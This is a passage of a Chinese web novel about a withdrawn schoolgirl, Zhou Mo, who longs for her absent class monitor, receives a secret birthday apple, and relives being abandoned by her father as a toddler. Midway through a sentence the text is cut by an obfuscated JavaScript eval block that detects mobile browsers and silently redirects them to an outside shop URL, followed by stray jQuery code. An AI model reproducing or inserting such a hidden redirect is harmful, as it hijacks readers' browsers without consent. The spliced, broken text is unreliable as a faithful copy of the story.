周茉坐在书桌前，看着手机上半小时前的来电记录，久久不能释怀。号码存进通讯录，为了保持一贯性，如同以往，用身份备注。
妈妈；
某年级某学科老师；
.......
高中班长兼同桌。
她反复品味屏幕里实实在在、有枝有叶的七个字，始终觉得轻飘飘的，像一张用来标记物体的便签，可以贴在任何一处，不见了就不见了，还会有下一张。妈妈只有两个字，却是那么重，或许因为妈妈是唯一的。
删除，输入「周末」。
还是不够重。
删除。
思虑一阵后，她输入「阿祯」。
祯，吉祥幸福。
寓意深厚，而且用这字的人少有。
她珍重地摁下确认键，宛如把字字句句斟酌过的信件投入邮筒，盼着远方的来信，盼着呼吸灯上亮起“阿祯”二字。这意味着，远方的人有空记起她，过得不算太糟心。
周末双休走了又来，她却不曾听闻周末的消息。她坐在书桌前写作业，累了，看向窗外，树杈上还有几丝绿意能舒缓疲劳，再次抬眼时，天地间已是焦黄一片，只有三四片枯叶挂在枝头，在风中摇摆，藕断丝连。
过去，车马慢，人一生等不来几封信。如今，智能手机已普及，她却对这部翻盖手机情之所钟，便安慰自己，不是对方没来消息，是这老伙计腿脚不行了，信号传递太慢，她只要耐心等待，总会有那么一天。
有时，她忽地从迷茫中抽离，觉得自己傻得可笑，凭什么认为他会联系她呢？他对谁都好，大家都喜欢他，她只不过是其中之一。大多同学和老姚一样，认识他好几年了，她不过是后来者，更没什么特别的。如果联系她，那他大概所有人都会联系一遍。
他才没这么闲呢。
刚反省完，她又噗通跳进沼泽里。别人看来，那是一滩泥巴，可她怎么看的都觉得是甜中带苦的热可可。
下雨天，妈妈执意送她上下学，她欣然接受。不下雨的天气，妈妈在电话里送她上下学。她独身的日子，明知结果，却一天又一天地先去面馆看一眼，再去上学。明知结果，却一日又日地往周末课桌里放零食，贴上寄语。怕放不下，她特意挑小巧的零嘴，蜜饯、阿尔卑斯、巧克力、雪花酥......还是塞满了，只好暂存在自己心里。
看着被蓝色心形便利贴填满的桌兜，仿佛是她的心沉到了海底。她想和他发短信，但不知道发什么。
寻常的问候，就像写便利贴那样？不要了，很可能会暴露身份。拐着弯问周爸爸的病近来可好？更不行了，他总能看透她的心思，这完全是在给他徒增忧愁。
实际上，她害怕收到他的消息。见不到真人，光凭文字或者声音，无法判断他过得好不好，她猜想，他只会报喜不报忧，如此一来，她的想念会越来越重，在处理人际关系上，她不如他聪明，甚至笨拙。她常常不知道他的话是真是假，她坚信的是他的人品，就算是假话，也是为她好。
有时候，没有消息就是最好的消息。
平安夜这天，是周茉的生日。对她而言，生日像一场私人舞会，从来只有妈妈参与。她并不难过。她是妈妈的女儿，只要妈妈为她的出生开心，不后悔生她，她就心满意足。
今年，十五岁这天，亦是如此。
她一大早便收到妈妈热烈的祝福，和精心挑选的礼物。她将亲手装扮的苹果送给妈妈，笨嘴拙舌道：“妈妈，平安快乐。”
每年平安夜，她会准备两个苹果，一个给妈妈，一个备用，万一有人送她苹果，不会叫人收不到回礼而尴尬。她回回这么幻想，回回在23点59分，坐在书桌前，吃掉它。
这天晚自习课间，教学楼沸反盈天，学生间相互送苹果，有送本班的，有串班送的。有人收了一大袋苹果，有人颗粒无收。周茉坐在座位上，面对左侧的空位而坐，垂头看着捧在手里的苹果。
看来，又要自己把它吃掉了。
这时，高妙语和一位女生搬来一箱苹果，放在讲台上。她高喊一声，教室瞬间安静。
“这啥啊？”老姚坐在前排座位上，晃着二郎腿，拿来别人收到的苹果，往身上随意蹭了一下，咬一口。
“瞎啊。”高妙语点了点水果箱子，“苹果两个字看不懂啊。”
“能不知道嘛。我是说为什么会有这么大一箱。”
“班长买的，希望大家平平安安的。以前也没见他这么浪漫过。”
“那可是得我真传。”老姚站起身，叉腰道，“各位，以后可要记得我的好啊，周末是我一手培养出来的。”
众人唏嘘。
周茉倒希望如此。周末要是能有老姚十分之一的自私和厚脸皮，也不至于每天那么累，他总牺牲自己，成全别人，隔着十万八千里，还为班里着想。这么看来，他其实也有点傻傻的。
正想着，一只抓着苹果的手伸到她面前。
“怎么不去拿苹果，那帮人跟峨眉山的猴子似的，还好我眼疾手快抢了一个。”是高妙语的声音。
“谢谢。”周茉双手接过。
高妙语在她身侧蹲下，不知从哪儿掏出的精装苹果，玻璃纸用蓝丝带系紧，小声说：“生日快乐。”
她错愕一瞬，望向旁人，就一秒，女孩的笑颜尽收眼底，刻在心中。
“平安快乐。”周茉将藏在自己心里许久的苹果，递向高妙语。
“谢谢，你也要哦。”
周茉重重地点头。
高妙语借由洗苹果，离开了。她站在走廊上，看向教室角落，一边啃苹果，一边拨通电话，手机贴在耳边：“你安排的事都办好了啊，干嘛不自己和她说？”
“我说她会更开心？得了吧，我和她又不熟，刚她对我一点开心的表情也没有。”
“看动作？”
高妙语一边听人说话，一边观察周茉的举动——周茉望着桌上的两颗苹果，身体轻微前后摆动，胳膊举起，与双耳平齐，像是投降状，但仔细一看，她手腕转动，手指摆动，像是啦啦队拿花球在庆祝。
“神了啊，和你说的一模一样。”高妙语惊叹，“你是不是在教室里装监控了。”
“你去干嘛了，一走走这么久，感觉她最近挺落寞的。”
“我和她聊？还是不了吧，没这方面的经验，肯定越说越错。你早点回来吧，最近她老坐你位置上，凭我的无敌第六感，她挺想你的。要我是她，我也想你，咱班上，就你能和她相处得来。”
电话里继续说着，高妙语没机会插话，手中的苹果只剩个核，耳朵捂出了汗：“行了行了，什么时候变这么啰嗦了，搞得跟嫁女儿似的。您老人家放一百个心，我可不是渣男。”
*
整个元旦假期，周茉都在思考怎么感谢高妙语，她完全不了解她，思来想去，决定像对周末那样，偷偷往人桌子里放零食，附上祝福语。
高妙语的座位在教室前排。周茉等到中午大家都去吃饭了，才把准备好的巧克力奶放进去。她以为高妙语会和周末一样，问旁人一两句是谁送的，得不到答案，就会罢休。万万没想到她会在班上挨个问，闪着星星眼：“是你吗？”
问到她时，却是双唇微张，欲言又止，一副“不不不，怎么可能是你”的样子，然后略过，继续问下一人。
在班上没找到，高妙语便去隔壁班，隔壁的隔壁班，直至把整个教学楼里，认识的人问个遍。无果。高妙语断定自己被恶作剧了，断定那人是想看她徒劳无功，看她解不开谜题而烦躁的样子，对她而言，这和“说话说一半”同为死罪，和投毒无它。最后，这瓶旺仔牛奶躺在了失物招领处。
周茉再也不敢了。
感情不能强求，不是付出就会有结果，不适合就得断。
一切回归正轨，时间照常走，节日如期到来，她却很反常，竟觉得寒假过得缓慢。春节走了，元宵节来了，一阵又一阵的热闹，怎么也掀不起她内心的波澜，唯有每天起床查看手机是否有来自“阿祯”的未读消息时，心尖会缩两下——没看时，紧张；看了但没有，酸涩。
直到三月底，她的情绪才大幅度波动。可以说，很糟糕。
时值回南天，水跟油似的浸泡整座城，潮湿、腻滞。今年这几天，偏逢下雨，没有阳光，人跟着浮肿、发霉。周萧然中招了。外邪入侵，又碰上例假，抵抗力急速下降，整个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744479|209219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周末，她都躺在床上。好在是家常病，休息几天就好。周茉的生活自理能力不算差，会熬白粥，放点青菜，敲个鸡蛋，跟着周萧然一起吃病号饭。
周一清晨，雨一直下，周萧然依旧四肢发软，起身都艰难，却执意要送女儿上学，没走几步瘫软在地。
周茉将人扶起，忐忑道：“周茉自己可以。”
“可是——”
“周茉可以。”周茉将人扶进我卧室，转身离开。
周萧然瘫软在床，焦急喊：“茉茉，今天别去了，妈妈帮你请假。”
得到的是关门声。
周茉最害怕的就是下雨天。
周茉两三岁时，周萧然还是公司职员，夫妻俩谁有空就谁负责照顾孩子。那时他们正为周茉找合适的幼儿园，想寻家附近的学校，可惜资质都一般，但他们实在抽不出空送她去更远的学校。仔细想想，幼儿园而已，能给孩子一个健康的玩耍环境就行，不需要培养太多能力。不料，屡次碰壁，连续被劝退，都说：“看这孩子的表现，大概是自闭症，建议去医院查查，如果真是，我们的老师都没有接触过，建议您找更专业的学校。”
那天，星期六，也是这样的雨天，周萧然出差，孩子由父亲带。他带着周茉去吃肯德基，取完餐，坐在窗边，像是打量陌生人一样看自己的孩子。他怎么也想不通自己和周萧然都伶牙俐齿，怎就生出了个哑巴？他是她爸爸，她竟连手都不给他牵，只偶尔让周萧然碰，怕不是周萧然和别人怀的野种？可是，周萧然是婚后被他破的处啊，他一直记得那晚被夹得灵魂升天，床单上一小滩血又给他看硬了，之后几乎每天一次，没过多久她就怀孕了，时间非常合理。
他怎么也想不明白。
难道是因为这小家伙不喜欢他，故意装哑巴不和他亲近？
心中盘算一番后，见周茉吃完，他便带着她离开。他们一人一把伞，周茉举着蓝色的小伞埋着头，走在一旁，离他远远的。他放缓脚步，躲在角落，放任自己女儿越走越远。他心想，吓一吓她，还能一声不吭？
周茉走了好一阵，才注意到爸爸不见了，四下张望，怎么也看不见人。对她而言，父亲像是透明保护罩，此刻，安全感荡然无存。在她的感知里，雨丝如刀，车鸣胜雷，人脸似鬼......一切都是那么恐怖。她猛然嚎叫，被人盯上，哄她去找爸爸妈妈。此刻，她亲爸爸被路上胸大腰细的美女勾走了魂，忘了自己还有个女儿在。
周茉记得妈妈说过，这种说带她去找爸爸妈妈的陌生人都是坏人，加上她本就极度害怕陌生人，便将人推开，一路狂奔。一个不到三岁的孩子，跑得再快也比不过成年人，那人一直在她后头缓缓走，怎么也甩不掉。
她不会说话，无法寻求帮助。她抗拒人群，但此时，后头的坏人比人群更可怕，她便走到人群里。一霎那，无数双如灰烟的手层层叠叠地袭来，扼住她的喉咙，恐慌、窒息。幸运的是，不远处是警局。她记得妈妈说过，蓝色加白色，门上面有红黄色牌子的房子里面有警察叔叔，便冲了进去。
这件事让周萧然看清那男人的嘴脸，她当机立断，和他离婚。出轨不过是火上浇油。
自那以后，只要下雨，那天的场景就会在周茉脑中闪过，她不再独自在雨中行动，在学校，要是需要去哪儿，正巧下雨，她一定会等雨停了再行动。
今天，她下了天大的决心，才踏出这一步。要想独立，就得克服困难，人人如此，她也一样。
雨越下越大，周茉站在小区门外，蓝色伞面向前倾斜，她紧紧攥着伞杆，踟蹰不前，仿佛一旦向前，离开安全地，完全脱离妈妈的视线，历史就会重演，坏人的笑声已经在她耳边盘旋，以至呼吸越发急促起来。
“周茉，看着我！”
熟悉的声音切断了坏人的笑声。
是谁在前面喊她？
“周茉，看看我，好吗？”那人放软了语气。
周茉胆怯地抬起伞面，雨丝割裂视线，依靠记忆拼成画面。看着距离自己十米远的人，她顿时红了眼，像是被人理解了深藏已久的委屈。
“周末——”她泣不成声。
“别怕，我就在这儿，慢慢来，我等你。”